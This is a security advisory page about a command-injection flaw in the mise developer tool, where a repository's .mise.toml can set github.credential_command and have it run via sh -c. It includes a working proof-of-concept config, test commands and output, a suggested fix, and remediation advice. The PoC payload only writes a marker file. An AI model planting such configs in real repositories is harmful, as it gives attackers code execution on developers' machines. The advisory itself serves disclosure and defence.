Severity by source
AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
AV:L because execution is triggered locally on the victim's machine; AC:H because GITHUB_TOKEN must be absent; UI:R because the victim must run a mise command; no availability impact demonstrated.
Primary rating from Vendor (https://github.com/jdx/mise).
CVSS VectorVendor: https://github.com/jdx/mise
Lifecycle Timeline
3DescriptionCVE.org
Summary
mise loads github.credential_command from local project config before any trust decision, then executes that value with sh -c when resolving a GitHub token. An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set.
The current command-execution path is github.credential_command. I confirmed in Docker that the setting is exploitable on v2026.3.15 and v2026.3.17, while v2026.3.14 rejects it as an unknown field. This report does not depend on the separate trust-bypass issue because the sink is reached directly from [settings.github].
Details
The vulnerable load order is:
Settings::try_get()preloads settings from local config files.parse_settings_file()returnssettings_file.settingswithout checking whether the local file is trusted.resolve_token()checkssettings.github.credential_commandafter the token env vars and before file-based sources.get_credential_command_token()executes the value withsh -c.
The main command-execution path is:
let result = std::process::Command::new("sh")
.arg("-c")
.arg(cmd)
.arg("mise-credential-helper")
.arg(host)
.output()If a local project file sets:
[settings.github]
credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"then resolve_token() will reach get_credential_command_token() whenever higher-priority GitHub token environment variables are unset. credential_command is a documented custom credential source for mise, but it is also accepted from a local project .mise.toml, which lets an untrusted repository supply a shell command for mise to execute.
PoC
Test environment:
- Docker
linux-arm64mise v2026.3.17
Negative control:
export GITHUB_TOKEN=env_token
mise github token --unmaskObserved:
github.com: env_token (source: GITHUB_TOKEN)
/tmp/mise-proof.txt => missingPrimary exploit:
[settings.github]
credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"Run:
unset GITHUB_TOKEN GITHUB_API_TOKEN MISE_GITHUB_TOKEN MISE_GITHUB_ENTERPRISE_TOKEN
mise github token --unmaskObserved:
github.com: ghp_fake_token (source: credential_command)And the side effect file is created:
/tmp/mise-proof.txt => credential_command_rceRelated version check:
v2026.3.14:credential_commandis rejected as an unknown fieldv2026.3.15: the same PoC executes and returnssource: credential_command
Impact
An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands as the victim user when the victim runs a mise command that resolves a GitHub token from local settings.
Demonstrated impact:
- arbitrary command execution as the victim user
- no trust prompt
- no need for
[env],[hooks], tasks, or templates
Important limitation:
- if a higher-priority GitHub token environment variable is already set, the
credential_commandpath is not reached
Suggested Fix
Do not honor github.credential_command from non-global project config files.
For example, inside parse_settings_file():
pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {
let raw = file::read_to_string(path)?;
let settings_file: SettingsFile = toml::from_str(&raw)?;
let mut settings = settings_file.settings;
if !config::is_global_config(path) {
settings.github.credential_command = None;
}
Ok(settings)
}AnalysisAI
Command injection in mise's GitHub credential resolver executes attacker-controlled shell commands on the victim developer's machine when a malicious .mise.toml is placed in a repository and no higher-priority GitHub token environment variable is set. Versions v2026.3.15 through v2026.3.17 (and all releases up to < 2026.6.4) pass github.credential_command from untrusted local project config directly to sh -c without any trust verification. A working proof-of-concept is confirmed per GHSA-29hf-rm4x-xxph on Docker linux-arm64; no CISA KEV listing at time of analysis, but POC availability elevates practical risk above the moderate CVSS base score.
Technical ContextAI
mise (CPE: pkg:rust/mise) is a polyglot developer environment manager that manages runtime versions and project settings via .mise.toml files. CWE-78 (OS Command Injection) applies because the github.credential_command setting is passed unsanitized to std::process::Command::new("sh").arg("-c").arg(cmd) inside get_credential_command_token() in src/github.rs:558-599. The vulnerable code path is: Settings::try_get() (src/config/settings.rs:254-283) loads local config → parse_settings_file() (src/config/settings.rs:505-510) returns settings_file.settings without verifying whether the source file is globally trusted → resolve_token() (src/github.rs:344-390) evaluates credential_command before file-based token sources → shell execution. The root cause is that parse_settings_file() performs no trust gating on local project configs; the setting was accepted starting in v2026.3.15 (v2026.3.14 rejected it as an unknown field).
RemediationAI
Upgrade mise to version 2026.6.4 or later, which restricts github.credential_command to global config files only, per the vendor advisory at https://github.com/jdx/mise/security/advisories/GHSA-29hf-rm4x-xxph. As an immediate workaround prior to patching, set a GitHub token environment variable (GITHUB_TOKEN, GITHUB_API_TOKEN, MISE_GITHUB_TOKEN, or MISE_GITHUB_ENTERPRISE_TOKEN) in your global shell profile - exploitation only triggers when all four are unset, so a globally configured token fully blocks the attack path. A second workaround is to audit .mise.toml files for [settings.github] sections before running mise in any cloned repository. Note that the environment-variable workaround mitigates exploitation without fixing the underlying trust enforcement defect, so upgrading to 2026.6.4 remains the definitive remediation.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-39813
GHSA-29hf-rm4x-xxph